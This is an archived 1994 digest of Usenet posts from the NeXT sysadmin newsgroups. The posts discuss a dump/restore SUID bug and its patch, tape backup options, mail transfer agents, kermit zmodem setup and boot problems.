w_s_tm='1'
yacc='/usr/bin/yacc'
lib=''
privlib='/usr/local/lib/perl'
installprivlib='/usr/local/lib/perl'
PATCHLEVEL=36
CONFIG=true
libswanted='dbm sys_s'
usemymalloc='n'
--
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From: wkwong@magnus.acs.ohio-state.edu (Waihon A Kwong)
Newsgroups: comp.sys.next.hardware,comp.sys.next.software,comp.sys.next.sysadmin
Subject: Re: panic doing gnutar with DAT on black
Date: 29 May 1994 15:10:38 GMT
Organization: The Ohio State University
Message-ID: <2sab9e$7pc@charm.magnus.acs.ohio-state.edu>
References: <ohtrAUO00iUvM1MScS@andrew.cmu.edu>
In article <ohtrAUO00iUvM1MScS@andrew.cmu.edu>,
Charles William Swiger <infidel+@CMU.EDU> wrote:
>Excerpts from netnews.comp.sys.next.hardware: 28-May-94 panic doing
>gnutar with DAT.. by Feng Liu@jedi.eng.uci.ed
>> NeXTStation 040 mono, Conner Python 2.0G DAT.
>> Just got this DAT and was doing as root
>> gnutar cvf /dev/rst0 /
>>
>> / directory contains two NFS mounts on two other machines, two
>> local disks, total space < 2.0 G byte.
>>
>> System panics in the middle of gnutar.
>
>"If it hurts, don't do it" is a pretty good rule to follow.
>
>I would recommend doing filesystem-level backups (a) without the NFS
>mounts present, (b) using dump / rdump, not gnutar, and (c) on unmounted
>filesystems [if possible], not ones being actively used.
>
I thought the dump/rdump can not use to do backup on the system files with
SUID since those files are will not be restored correctly.
I once was backing up my complete root file system with
"dump", but after I restore the system, it is not usable since all the SUID
files got mix up.....
Did NeXT fix this??
--
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// || // @
//==||/\\ @ "If you put your mind to it, you can accompish anything!"
// || \\ @ "BUT MY NeXTMAIL IS NOT WORKING YET!!!!!!!!!!!!!"
From: geom2@sfb256.iam.uni-bonn.de ( Michael Moellney )
Newsgroups: comp.sys.next.hardware,comp.sys.next.software,comp.sys.next.sysadmin
Subject: NS on ASUS PCI Board ?
Date: 29 May 1994 15:39:26 GMT
Organization: Applied Math, University of Bonn, Germany
Message-ID: <2sacve$112@news.rhrz.uni-bonn.de>
Hi!
Has anybody installed NeXTSTEP 3.2 on a machine that has the
ASUS PCI/I-486SP3/33 as motherboard using the onboard NCR SCSI Chip.
Two people told me, that they have problems with their CD-ROMs.
One of these were told by Talus, that he can't expect the driver to
work on this ASUS board.
I'm still waiting on my HD and when it comes I want to be able to
install NS on it.
Thank you, Michael
Newsgroups: comp.sys.next.software,comp.sys.next.sysadmin
From: tachang@gsbux1.uchicago.edu (Andrew Chang)
Subject: Zmodem and kermit
Message-ID: <1994May29.155730.22759@midway.uchicago.edu>
Sender: news@uchinews.uchicago.edu (News System)
Organization: University of Chicago -- Academic Information Technologies
Date: Sun, 29 May 1994 15:57:30 GMT
Hi, I have some problems to get zmodem work through kermit. I have a black
NeXT and I use kermit to get it connected to university server. Since that
is a modem pool (system), I always have some problems about device (port).
Can anyone help me out ?? Thanks a lot.
--
Andrew C. Chang, Graduate School of Business, University of Chicago
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From: Charles William Swiger <infidel+@CMU.EDU>
Newsgroups: comp.sys.next.software,comp.sys.next.sysadmin,comp.sys.next.hardware
Subject: Re: panic doing gnutar with DAT on black
Date: Sun, 29 May 1994 13:54:51 -0400
Organization: Carnegie Mellon, Pittsburgh, PA
Message-ID: <ohuBPfG00iV4A1Lf1b@andrew.cmu.edu>
In-Reply-To: <2sab9e$7pc@charm.magnus.acs.ohio-state.edu>
Excerpts from netnews.comp.sys.next.hardware: 29-May-94 Re: panic doing
gnutar with.. by Waihon A Kwong@magnus.ac
> >I would recommend doing filesystem-level backups (a) without the NFS
> >mounts present, (b) using dump / rdump, not gnutar, and (c) on unmounted
> >filesystems [if possible], not ones being actively used.
>
> I thought the dump/rdump can not use to do backup on the system files with
> SUID since those files are will not be restored correctly.
> I once was backing up my complete root file system with
> "dump", but after I restore the system, it is not usable since all the SUID
> files got mix up.....
I have never ran into such a problem. I assume you did the dump and
restore as root, right? Have you sent email to bug-next?
Oh, I suppose I should mention that there is a pretty highly regarded
backup product available called SafetyNet. I don't use it myself, but
perhaps some other people will comment on it.
-Chuck
Charles William Swiger - WhiteLight Systems | "All the world's a stage, and"
--------------------------------------------+ "we are merely players...."
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From: 21757GJL@msu.edu
Newsgroups: comp.sys.next.sysadmin
Subject: NEW SendMail
Date: Sun, 29 May 94 14:23:53 EDT
Organization: Michigan State University
Message-ID: <16FC5CA8D.21757GJL@msu.edu>
I need to put a newer version of sendmail on a bunch of NeXTs
currently running 2.x NeXTstep.
I haven't really started I just figured I'd ask if there were some specific
NeXT instructions to make it easier or some pre-compiled versions somewhere...?
Or whatever, just something to make it easier?(Maybe it is easy?)
(And am I going to have to redo it all again after I install the newest
version of NeXTstep?)
Thanks,
Gary
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From: shivers@lcs.mit.edu (Olin Shivers)
Newsgroups: comp.sys.next.software,comp.sys.next.sysadmin,comp.sys.next.hardware
Subject: Problems doing backups
Date: 29 May 1994 18:43:04 GMT
Organization: Lab for Computer Science, MIT
Message-ID: <SHIVERS.94May29144304@lewis.lcs.mit.edu>
References: <ohuBPfG00iV4A1Lf1b@andrew.cmu.edu>
In-reply-to: Charles William Swiger's message of Sun, 29 May 1994 13:54:51 -0400
> >I would recommend doing filesystem-level backups (a) without the NFS
> >mounts present, (b) using dump / rdump, not gnutar, and (c) on unmounted
> >filesystems [if possible], not ones being actively used.
>
> I thought the dump/rdump can not use to do backup on the system files with
> SUID since those files are will not be restored correctly.
> I once was backing up my complete root file system with
> "dump", but after I restore the system, it is not usable since all the SUID
> files got mix up.....
I have never ran into such a problem. I assume you did the dump and
restore as root, right? Have you sent email to bug-next?
I have run into this problem, even when running the dump/restore as root.
I called NeXT. They said, "Oh, yes. That's a bug in dump. Use tar."
You will note that nowhere in the voluminous documentation NeXT has
thoughtfully made available for using dump/restore will you find any
mention that dump is essentially unusable for doing system backups due
to this little problem.
You will also note the personal-computer every-man-looks-out-for-his-own-files
attitude here. Tar is not useful for efficiently making incremental backups
of large filesystems without detailed knowledge of what directories are
NFS mount points. Dump is.
In any event, I replied to the NeXT support guy, "I can't use tar. It
flushes files with pathnames longer than 100 chars." (Which indeed happens,
for example, if you keep NS apps in your home directory.) Then he said
(but only after I had brought the issue up), "Right. You should use gnu tar."
Of course, gnu tar isn't POSIX compliant; it keeps its archives in some
other pre-POSIX format.
Gnu tar is supposed to provide facilities for doing making incremental
archives. I don't know how if it can be told to not follow NFS mount points.
It doesn't matter. There's no documentation for it, so there's no way to use
these fancy features. I checked the NS documentation. I checked on the FSF ftp
machines. No manual. No documentation. So I can't use gnutar for doing
incremental dumps. (I did find a note saying that a manual is being written;
maybe I'm out of date.)
Finally, I would note that NeXT's rdump doesn't use a network protocol that
is compatible with Sun's, so you can't rdump across the net to a tape
drive mounted on a Sparc. You have to have your very own tape drive,
mounted on a NeXT system. Maybe this isn't NeXT's fault; maybe Sun's
rdump protocol is proprietary or something. I don't know. But it's irritating.
I wandered around in backup space for about two weeks a couple of months
ago, when we first set up our NeXT systems. I was not impressed. Every
single one of the solutions that comes with NeXT has big problems. Doing
backups is a basic, important thing. Why is it so difficult?
-Olin
Newsgroups: comp.sys.next.sysadmin
From: andrew@stone.com (Andrew Stone)
Subject: "This should not happen" - or so dump said!
Message-ID: <1994May27.233314.521@stone.com>
Sender: andrew@stone.com
Organization: Stone Design Corp
Date: Fri, 27 May 1994 23:33:14 GMT
While dumping a filesystem at level 0, I got this:
DUMP: level 0 dump on Fri May 27 15:27:47 1994
DUMP: Date of this level 0 dump: Fri May 27 16:58:04 1994
DUMP: Date of last level 0 dump: the epoch
DUMP: Dumping /dev/rsd0a (/) to standard output
DUMP: mapping (Pass I) [regular files]
DUMP: mapping (Pass II) [directories]
DUMP: estimated 621433 tape blocks on 0.03 tape(s).
DUMP: dumping (Pass III) [directories]
DUMP: dumping (Pass IV) [regular files]
DUMP: (This should not happen)bread from /dev/rsd0a [block 13232]:
count=8192, got=-1
What does this mean? Is there something I can do to fix this?
andrew
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From: hen1580@cs.rit.edu (Harry E Noel)
Subject: News and Term
Message-ID: <1994May29.202043.2987@cs.rit.edu>
Sender: news@cs.rit.edu (USENET News Admin)
Organization: Rochester Institute of Technology, Rochester, NY
Date: Sun, 29 May 1994 20:20:43 GMT
I have been using TipTop and term for a while now and it seemes
to be working fine. I was wondering if there is a way to get
my mail and usenet news from my account?
The plan would be to get the news and mail and be able to read them on
my Next using elm and trn.
If you have done this or know how to do it, please mail me or post it.
I will sumarize the responses and post the results.
thanks
Harry
From: Charles William Swiger <infidel+@CMU.EDU>
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.hardware,comp.sys.next.software
Subject: Re: Problems doing backups
Date: Sun, 29 May 1994 17:30:06 -0400
Organization: Carnegie Mellon, Pittsburgh, PA
Message-ID: <QhuEZS200iV401tXkX@andrew.cmu.edu>
In-Reply-To: <SHIVERS.94May29144304@lewis.lcs.mit.edu>
Excerpts from netnews.comp.sys.next.hardware: 29-May-94 Problems doing
backups by Olin Shivers@lcs.mit.edu
> I have never ran into such a problem. I assume you did the dump and
> restore as root, right? Have you sent email to bug-next?
>
> I have run into this problem, even when running the dump/restore as root.
> I called NeXT. They said, "Oh, yes. That's a bug in dump. Use tar."
Ack! Time to make alternative arangements for doing backups....
> You will note that nowhere in the voluminous documentation NeXT has
> thoughtfully made available for using dump/restore will you find any
> mention that dump is essentially unusable for doing system backups due
> to this little problem.
Yes. Sigh...SafetyNet is sounding much more attractive now that you and
NeXT has confirmed that dump has problems.
Thanks,
-Chuck
Charles William Swiger - WhiteLight Systems | "All the world's a stage, and"
--------------------------------------------+ "we are merely players...."
AMS & normal mail: infidel@cmu.edu |
NeXTmail: chuck@cswiger.slip.andrew.cmu.edu | "Semper ubi sub ubi."
From: jmack@skye.phys.ualberta.ca
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Problems doing backups
Date: 29 May 1994 23:38:12 GMT
Organization: Computer and Network Services, U of Alberta, Edmonton, Canada
Message-ID: <2sb914$aga@quartz.ucs.ualberta.ca>
References: <QhuEZS200iV401tXkX@andrew.cmu.edu>
In article <QhuEZS200iV401tXkX@andrew.cmu.edu> Charles William Swiger
<infidel+@CMU.EDU> writes:
> Excerpts from netnews.comp.sys.next.hardware: 29-May-94 Problems doing
> backups by Olin Shivers@lcs.mit.edu
> > I have never ran into such a problem. I assume you did the dump and
> > restore as root, right? Have you sent email to bug-next?
> >
> > I have run into this problem, even when running the dump/restore as root.
> > I called NeXT. They said, "Oh, yes. That's a bug in dump. Use tar."
>
> Ack! Time to make alternative arangements for doing backups....
>
> > You will note that nowhere in the voluminous documentation NeXT has
> > thoughtfully made available for using dump/restore will you find any
> > mention that dump is essentially unusable for doing system backups due
> > to this little problem.
>
> Yes. Sigh...SafetyNet is sounding much more attractive now that you and
> NeXT has confirmed that dump has problems.
There has also been a patch out for NS3.1 and NS3.2 for some time now.
I'm surprised that the NeXT rep didn't inform you of this. The patch
replaces restore (which was causing the SUID problem - works fine now).
Get the patch from ftp.next.com
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From: jimbo@oingo.umn.edu
Subject: Kodak Photo CD, how??
Message-ID: <CqL9uK.D00@news.cis.umn.edu>
Sender: news@news.cis.umn.edu (Usenet News Administration)
Organization: University of Minnesota, Twin Cities
Date: Mon, 30 May 1994 00:09:28 GMT
I can read NeXT, DOS, Mac, AudioCD, but I cannot read Kodak Photo CD
on my NeXT Turbo 3.2 station. Is there a driver out there??
replies -> comp.sys.next.sysadmin
Thanks, JIM
From: brian@arl.wustl.edu (Brianosaurus)
Newsgroups: comp.sys.next.sysadmin
Subject: Mail.app pictures
Date: 24 May 1994 18:44:23 GMT
Organization: Washington University, St. Louis, MO
Message-ID: <2rthu7$s37@bigfoot.wustl.edu>
I have some pictures of my friends which I would like to use as the People
icons for Mail.app. Our NeXTs are served from a central location, and the
LocalLibrary/Images/People directory is not set up on it.
Is there an analogous directory for users (such as ~/Library/Images/People)
that I can set up to put my own personal images in?
brian
From: brian@arl.wustl.edu (Brianosaurus)
Newsgroups: comp.sys.next.sysadmin
Subject: Cryptor bundle for Mail.app in less than 3.1
Date: 28 May 1994 19:44:08 GMT
Organization: Washington University, St. Louis, MO
Message-ID: <2s86u8$3h6@bigfoot.wustl.edu>
The system administrators at this fine institution are strongly against
upgrading from NS 3.1 to 3.2. We have the CDs and whatever, but they just
don't want to do it (since they just got 3.1 installed a few months ago).
But I want to use the cryptor bundle to include PGP in my mail. Is it
possible to just copy the Mail.app from the 3.2 system and install cryptor
bundle in there, or does the cryptor stuff require something in the 3.2
libraries?
brian
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From: wkwong@magnus.acs.ohio-state.edu (Waihon A Kwong)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.hardware,comp.sys.next.software
Subject: Re: Problems doing backups
Date: 30 May 1994 04:49:51 GMT
Organization: The Ohio State University
Message-ID: <2sbr9f$9di@charm.magnus.acs.ohio-state.edu>
References: <QhuEZS200iV401tXkX@andrew.cmu.edu>
In article <QhuEZS200iV401tXkX@andrew.cmu.edu>,
......DELETE lots of stuffs........................
>Yes. Sigh...SafetyNet is sounding much more attractive now that you and
>NeXT has confirmed that dump has problems.
>
Did anybody who used SaftetyNet confirm me that this software allows me to
"dump" the root file system, and "restore" it on a different, say a new disk?
If I have only one SCSI disk, which is my root file system, I believe I have
to do the dump in sinle user mode......then my question is that can I run
SafetyNet in single user mode? (I thought it is a real NeXTAPP....)
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From: chi@kaiwan.com (LCC)
Newsgroups: comp.sys.next.sysadmin
Subject: Help: Cann't boot up NS/FIP
Date: 29 May 1994 22:56:36 -0700
Organization: KAIWAN Internet (310/527-4279,818/756-0180,714/741-2920)
Message-ID: <2sbv6k$4pm@kaiwan.kaiwan.com>
Subject: Help: Cann't boot up NS/FIP
Newsgroups: comp.sys.next.misc
Organization: KAIWAN Internet (310/527-4279,818/756-0180,714/741-2920)
Summary:
Keywords:
Dear Netter,
Last night after editing the /NextLibrary/device/serial.config/
Default.table and Instance0??, the computer failes to boot up. I have
tried using config=Default to boot up but failed. The message is as follows,
Checking disk
/dev/rsd0a: file system clean : skipping check
Faking root mount entries
Configuring Device Drivers
Using Default table for BusMouse
PCPointer probe : mouseInit failure
_IO Probe Driver : No Such Device device BusMouse Unit 0
<computer stucks here>
The reason I was editing the serial device table and Instance0?? file was
because I was trying to install Mux serial driver to my NS/FIP 3.2.
Obviously, I am not sure what I was doing... If you know how to solve my
problem / or comments... please E-mail to chi@kaiwan.com
Thank you very much!
From: cdl@triton.ucsd.edu (Carl Lowenstein)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.hardware,comp.sys.next.software
Subject: Re: Problems doing backups
Date: 29 May 1994 23:09:03 -0700
Organization: Marine Physical Lab, UC San Diego
Message-ID: <2sbvtv$bfl@triton.ucsd.edu>
References: <QhuEZS200iV401tXkX@andrew.cmu.edu>
In article <QhuEZS200iV401tXkX@andrew.cmu.edu> Charles William Swiger <infidel+@CMU.EDU> writes:
>Excerpts from netnews.comp.sys.next.hardware: 29-May-94 Problems doing
>backups by Olin Shivers@lcs.mit.edu
>> I have never ran into such a problem. I assume you did the dump and
>> restore as root, right? Have you sent email to bug-next?
>>
>> I have run into this problem, even when running the dump/restore as root.
>> I called NeXT. They said, "Oh, yes. That's a bug in dump. Use tar."
>
>Ack! Time to make alternative arangements for doing backups....
>
>> You will note that nowhere in the voluminous documentation NeXT has
>> thoughtfully made available for using dump/restore will you find any
>> mention that dump is essentially unusable for doing system backups due
>> to this little problem.
Hey, guys, relax. Somebody at NeXT screwed up restore for NS3.2, with
respect to suid bits. It was OK for 3.1, 3.0, 2.1, 2.0, 1.0a, my
experience doesn't go back any further.
So now there is a patched version of restore available at ftp.next.com.
Or you could use the NS3.1 dump and restore.
Excerpts from tonight's FTP session show the following information.
ftp> pwd
257 "/pub/NeXTanswers/CompressedFiles/Patches/RestorePatch.29807.16" is current directory.
ftp> dir
200 PORT command successful.
150 Opening ASCII mode data connection for /bin/ls.
total 147
-rw-r--r-- 1 na submit 2063 May 9 17:17 1554_RestorePatch.ReadMe.compressed
-rw-r--r-- 1 na submit 132455 May 9 17:17 1555_RestorePatch.pkg.compressed
So there it is.
carl
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From: neekibo@precipice.fdn.org (Hugues RICHARD)
Subject: connecting a CLC 350 on a NeXTStep Computer without IPU
Message-ID: <1994May29.212648.296@precipice.fdn.org>
Sender: neekibo@precipice.fdn.org
Organization: Individual - Dijon, France.
Date: Sun, 29 May 1994 21:26:48 GMT
Hie,
I works in a service bureau company. We just buy a Canon CLC 350. We want
tu use it as a printer (we actually work on MACs). Since the IPU prince
(efi fiery) is very high, i thought of buying an NS/FIP PC with Dots.
Does anybody has done such a thing ?
What port must i use to "talk" to CLC (SCSI ?)
Does it is fast? (we plan to buy a PENTIUM or HPPA) ?
What s the price of the adobe extra-licence and the DOT s licence ?
What s the price of the IPT module to setup an AppleTalk printer server ?
Before buying the computer, we ll try with my oolldd NeXTStation, so if
anybody as experienced this on NeXT...
Email-me and if i got interesting things, I ll post summary.
Thanks
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From: Erland.Wittkoetter@uni-konstanz.de (Erland Wittkoetter)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.software
Subject: Logout of NetWare Connections via Terminal
Date: 30 May 1994 07:19:01 GMT
Organization: University of Constance
Message-ID: <2sc415$c0l@hermes.uni-konstanz.de>
Keywords: Novell,NetWare
Hi
Can you please tell us, how to close a Novell connection with
a simple Unix command (same effect as the menue "Deauthenticate" in
NetWare.app)
Thanks
Erland
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From: next2@info2.rus.uni-stuttgart.de (Markus Wenzel)
Newsgroups: comp.sys.next.software,comp.sys.next.sysadmin,comp.sys.next.hardware
Subject: Re: Problems doing backups
Date: 30 May 94 11:33:24 GMT
Organization: Comp.Center (RUS), U of Stuttgart, FRG
Message-ID: <next2.770297604@info2.rus.uni-stuttgart.de>
References: <ohuBPfG00iV4A1Lf1b@andrew.cmu.edu> <SHIVERS.94May29144304@lewis.lcs.mit.edu>
shivers@lcs.mit.edu (Olin Shivers) writes:
>I have run into this problem, even when running the dump/restore as root.
>I called NeXT. They said, "Oh, yes. That's a bug in dump. Use tar."
>You will note that nowhere in the voluminous documentation NeXT has
>thoughtfully made available for using dump/restore will you find any
>mention that dump is essentially unusable for doing system backups due
>to this little problem.
Of course, because the bug was introduced first in 3.2, that means
dump/restore worked fine in all previous releases. However, the bug is
fixed and there's a patch pkg on NeXTanswers. So there's no reason
left why you shouldn't use dump. I find it an excellent way of making
backups.
Markus.
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From: chi@kaiwan.com (LCC)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.hardware
Subject: Re: Urgent: Next PC hangs during boot
Followup-To: comp.sys.next.sysadmin,comp.sys.next.hardware
Date: 30 May 1994 06:17:44 -0700
Organization: KAIWAN Internet (310/527-4279,818/756-0180,714/741-2920)
Message-ID: <2scp1o$3dv@kaiwan.kaiwan.com>
References: <2s5o60$7c5@network.ucsd.edu>
Jochen Klinke (jklinke@aeon.ucsd.edu) wrote:
: I rebooted one of our Next PC's after changing the address of the
: additional serial port (COM2) to 0x2f8 in the Configure.app. Now the
: system hangs during boot while displaying the message 'Configuring Device
: Drivers'. If I boot with config=Default, the computer hangs with the
: message 'panic: Cpu(0) vfs_mount_root: cannot mount root' and 'Kernel
: Panic Exception...waiting for remote debugger connection. Type 'c' to
: continue or 'r' to reboot'. Typing 'c' at this stage only repeats the last
: message, while typing 'r' reboots the machine. How do I get the system
: back up? Any ideas?
Hi, I am having the same kind of problem... Have you found out how to the
the NS/FIP to boot up properly?
Dear Netter,
Last night after editing the /NextLibrary/device/serial.config/
Default.table and Instance0??, the computer failes to boot up. I have
tried using config=Default to boot up but failed. The message is as follows,
Checking disk
/dev/rsd0a: file system clean : skipping check
Faking root mount entries
Configuring Device Drivers
Using Default table for BusMouse
PCPointer probe : mouseInit failure
_IO Probe Driver : No Such Device device BusMouse Unit 0
<computer stucks here>
The reason I was editing the serial device table and Instance0?? file was
because I was trying to install Mux serial driver to my NS/FIP 3.2.
Obviously, I am not sure what I was doing... If you know how to solve my
problem / or comments... please E-mail to chi@kaiwan.com
Thank you very much!
From: sepp@ppcger.ppc.sub.org (Josef Wolf)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Sendmail.cf for NeXT's
Date: 29 May 1994 20:15:23 +0200
Organization: PPCGer mail and news system (Germersheim, Germany)
Message-ID: <2sam3r$281@ppcger.ppc.sub.org>
References: <CpMnq0.8wo@haquer.uucp> <ROBERT.94May11131953@steffi.demon.co.uk> <2ri9jg$nij@ppcger.ppc.sub.org> <ROBERT.94May28094802@steffi.demon.co.uk>
In <ROBERT.94May28094802@steffi.demon.co.uk> robert@steffi.demon.co.uk (Robert Nicholson) writes:
><sepp@ppcger.ppc.sub.org> writes:
>>In <ROBERT.94May11131953@steffi.demon.co.uk> robert@steffi.demon.co.uk (Robert Nicholson) writes:
>>>If you have control over what you use. Consider smail 3.28... it's a
>>>hell of lot simplier to set up and manage and fits in quite nicely
>>>with NeXTSTEP.
>>Maybe a silly question, but: Are there any reasons that smail is not shipped
>>with the system? It seems most of the users install it anyway. So why
>>not ship it?
>I just want to mention that I got sick of smail since it didn't fit in
>with Emacs's mail mode because there's a bug in smail's -t option
>which mail mode uses.
Bugs are there to be fixed...
You've lost the point. You're tired with smail, other folks (like me ;-)
are tired with sendmail. So why not put both into the distribution so
everyone can use his favorite MTA.
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From: js@euler.hnv.icem.de(Juergen Sell)
Subject: FYI: Z-modem and kermit
Message-ID: <CqM30K.Ap@euler.hnv.icem.de>
Sender: js@euler.hnv.icem.de (Juergen Sell)
Organization: Ink Unknown
Date: Mon, 30 May 1994 10:41:07 GMT
Due to numerous requests for help follows a short excerpt of advice how to get rz/sz to work with
kermit. I originally picked it up somewhere myself, honors to the unknown.
(rz/sz are the command-line versions of receive/send z-modem)
Have the rz/sz programs in your path,
add the following lines to your .kermrc file
define sz -
!sz < \v(line) > \v(line) \%1
define rz -
!rz < \v(line) > \v(line) \%1
(this seems to be input and output redirect of a locally issued command)
To receive a file with rz from the foreign host:
while connected to it, issue the appropriate command to start transfer via z-modem.
Escape back to the C-Kermit prompt (^] c for me),
type rz, hit return key
that's it.
Sending works about the same way.
I have no full documentation of the kermit define command nor the paramters within the
statement(s).
They do work okay though.
Filenames get translated to uppercase at least under some conditions - maybe you could alter rz/sz
paramters to modify that behaviour. - I don't care so far.
Newsgroups: comp.sys.next.software,comp.sys.next.sysadmin,comp.sys.next.hardware
From: csaldanh@mae.carleton.ca (Chris Saldanha)
Subject: Re: panic doing gnutar with DAT on black
Message-ID: <CqM8DF.E44@cunews.carleton.ca>
Followup-To: comp.sys.next.software,comp.sys.next.sysadmin,comp.sys.next.hardware
Sender: news@cunews.carleton.ca (News Administrator)
Organization: Carleton University
References: <ohuBPfG00iV4A1Lf1b@andrew.cmu.edu>
Date: Mon, 30 May 1994 12:36:51 GMT
Charles William Swiger (infidel+@CMU.EDU) wrote:
: Excerpts from netnews.comp.sys.next.hardware: 29-May-94 Re: panic doing
: gnutar with.. by Waihon A Kwong@magnus.ac
: > >I would recommend doing filesystem-level backups (a) without the NFS
: > >mounts present, (b) using dump / rdump, not gnutar, and (c) on unmounted
: > >filesystems [if possible], not ones being actively used.
: >
: > I thought the dump/rdump can not use to do backup on the system files with
: > SUID since those files are will not be restored correctly.
: > I once was backing up my complete root file system with
: > "dump", but after I restore the system, it is not usable since all the SUID
: > files got mix up.....
There is a 'restore' patch available from NeXTAnswers. I never installed
it, but as I recall, it fixed the file permissions (SUID) problems...
: Oh, I suppose I should mention that there is a pretty highly regarded
: backup product available called SafetyNet. I don't use it myself, but
: perhaps some other people will comment on it.
: -Chuck
SafetyNet is absolutely the coolest NeXT utility app around. It is by far
the most powerful tape backup system on any platform I have ever used...
You choose the files/hierarchies to backup with the mouse, in a
Workspace-style file viewer. You can backup local and network (NFS)
filesystems, actively in use or not. All are visible in the browser at the
same time. Then hit the 'Backup...' menu option, and insert a tape.
Once the backup is complete, you can browse the contents of the tape
using a file viewer. You can select files/hierarchies to restore.
Extracting individual files from the tape takes only seconds. You can add
more files to a tape after a first backup is done, if the backup did not
use up the whole tape.
You have many options when doing all of these actions...
This app is so simple-yet-powerful that end-users can use tape as a
portable media, almost as simply as a floppy disk (albeit a Gigabyte-
capacity diskette ;).
--Chris
Chris Saldanha --------------------------------------
Carleton University (Comp. Sci) |"The eternal silence of these infinite|
chris@computerActive.on.ca (NeXTMail) | spaces terrifies me." -Blaise Pascal|
csaldanh@mae.carleton.ca (NeXT/MIME) ------------------:-o-----------------
From: pete@geminga.dartmouth.edu (Peter Schmitt)
Newsgroups: comp.sys.next.sysadmin
Subject: Printing to HP DJ500 and Ghostscript
Date: 30 May 1994 18:18:06 GMT
Organization: Dartmouth College, Hanover, NH, USA
Message-ID: <2sdaku$2q4@dartvax.dartmouth.edu>
1. Has anyone successfully printed to a DJ500?
2. Has anyone compiled gs261 on NeXT 3.2?
-pete
--
peter.schmitt@dartmouth.edu Computing Services
UNIX Systems Specialist Dartmouth College
Phn: 603-646-2085 6028 Kiewit Computation Center
Fax: 603-646-2810 Hanover, NH 03755
From: kunkee@sugar.NeoSoft.COM (Randy Kunkee)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: UUCP, Mail, News, NO EtherNet
Date: 30 May 1994 14:25:07 -0500
Organization: NeoSoft Internet Services +1 713 684 5969
Message-ID: <2sdeij$nrn@sugar.NeoSoft.COM>
References: <2s1r0o$505@olorin.dark.sub.org> <1994May26.225219.8392@seer.demon.co.uk>
In article <1994May26.225219.8392@seer.demon.co.uk>,
Paul Lynch <paul@seer.demon.co.uk> wrote:
>In article <2s1r0o$505@olorin.dark.sub.org> thomas@olorin.dark.sub.org
>(Thomas Fischer) writes:
>> Hi there,
>>
>> Do you think it's possible to use UUCP, Mail and News on a machine with
>> NSfIP installed, but without an EtherNet card ?!?
>>
>> The problem is that you cannot set a hostname without the card, so I
>> guess it might be slightly difficult to install those things...
>
>You can set a hostname (in /etc/hostconfig), so long as youi don't set an
>IP address.
>
>Paul
>--
>Paul Lynch
>P & L Systems (NeXTmail) paul@seer.demon.co.uk
>Tel: (0494)671501 9 Stable Lane, Seer Green,
>Fax: (0494)680228 Bucks, HP9 2YT, UK
I didn't like the native UUCP that came with NSFIP. I installed Taylor
UUCP, and it can be configured to be a different hostname per UUCP
connection. I also prefer the way the configuration files are layed
out in the native mode, although it can be configured to support HDB.
--
Randy Kunkee
Houston, TX
713-870-1334
kunkee@sugar.neosoft.com
From: sepp@ppcger.ppc.sub.org (Josef Wolf)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Sendmail.cf for NeXT's
Date: 30 May 1994 15:28:29 +0200
Organization: PPCGer mail and news system (Germersheim, Germany)
Message-ID: <2scplt$300@ppcger.ppc.sub.org>
References: <2ri9jg$nij@ppcger.ppc.sub.org> <1994May28.193547.1008@seer.demon.co.uk>
In <1994May28.193547.1008@seer.demon.co.uk> paul@seer.demon.co.uk (Paul Lynch) writes:
>In article <2ri9jg$nij@ppcger.ppc.sub.org> sepp@ppcger.ppc.sub.org (Josef
>Wolf) writes:
>> In <ROBERT.94May11131953@steffi.demon.co.uk> robert@steffi.demon.co.uk
>(Robert Nicholson) writes:
>>
>> >If you have control over what you use. Consider smail 3.28... it's a
>> >hell of lot simplier to set up and manage and fits in quite nicely
>> >with NeXTSTEP.
>> Maybe a silly question, but: Are there any reasons that smail is not
>> shipped
>> with the system? It seems most of the users install it anyway. So why
>> not ship it?
>Because very few people actually install smail. Even if there are several
>hundred people who reply to this post saying that they use smail, that
>would still be a very small proportion of NeXTs. I don't know, but I
>suspect that NeXTs come with sendmail simply because it was supplied with
>the version of BSD that NeXT ported.
Don't know how many people install smail. But I _do_ know that I would
have left sendmail if only the .cf files worked. No way to change h.d!u
into u@h.d in From: lines but leave From_ lines alone for
uucp-connections :-/ Three weeks of pulling my hair out because of
sendmail. smail worked correct just out of the box with the default-config.
>The effort (not to mention risk) of installing and supporting a new MTA,
>for a less than expert user, or for a commercial site, is too much to
^^^^^^^^^^^
>bear. Sendmail would have to have significant problems for that to be
>required. Or more than a very few configuration file changes would be
>required.
You need expert users for sendmail. smail can be understood by the avarage
user.
>It is much easier to depend upon NeXT supporting a completely standard
>configuration that make a change of this nature.
But why don't next's xxx.cf work for uucp-only sites?
And how do you tell sendmail to change the From: line, but leave the From_
alone?
Greetings
--
Josef Wolf -- sepp@ppcger.ppc.sub.org
Germersheim, Germany
From: sanguish@digifix.com
Newsgroups: comp.sys.next.announce,comp.sys.next.misc,comp.sys.next.sysadmin,comp.sys.next.advocacy,comp.sys.next.hardware,comp.sys.next.software,comp.sys.next.bugs,comp.sys.next.programmer,comp.sys.next.marketplace
Subject: Quick Guide to NEXTSTEP Information on the Internet.
Date: 30 May 1994 16:28:39 -0400
Organization: Next Announcements
Message-ID: <2sdi9n$fer@digifix.digifix.com>
This post is made weekly, to help 'point' users to more NEXTSTEP information
Topics include:
Stepwise NEXTSTEP/OpenStep Information Server online
comp.sys.next newsgroups
related newsgroups
comp.sys.next newsgroups mailing list
ftp sites
NeXTanswers
New Information
---------------
Stepwise NEXTSTEP/OpenStep Information Server online
A product directory built around the World Wide Web system,
this will allow full multimedia announcements by NEXTSTEP
developers, as well as the ability to browse the available
products for NEXTSTEP.
This service is online now, and can be reached at
http://digifix.digifix.com/
it can be reached using OmniWeb (available from ftp.omnigroup.com)
or Mosaic.
The entries are coming in quite quickly, and currently consist of
- NeXT Press Releases
- OpenStep WhitePapers
- Third Party Products Directory
- NEXTSTEP Developer Directory
- NEXTSTEP Community WhitePages
- NEXTSTEP User Group Directory
- comp.sys.next.announce archives (searchable)
- searchable contents of Third Party compilation CDs
Additionally the NEXTSTEP Product Information Mail Server will
be stocked full file files in the next week... you can get
information on using the mail server at
ns-products@digifix.com
Suggestions or comments can be directed to me at sanguish@digifix.com
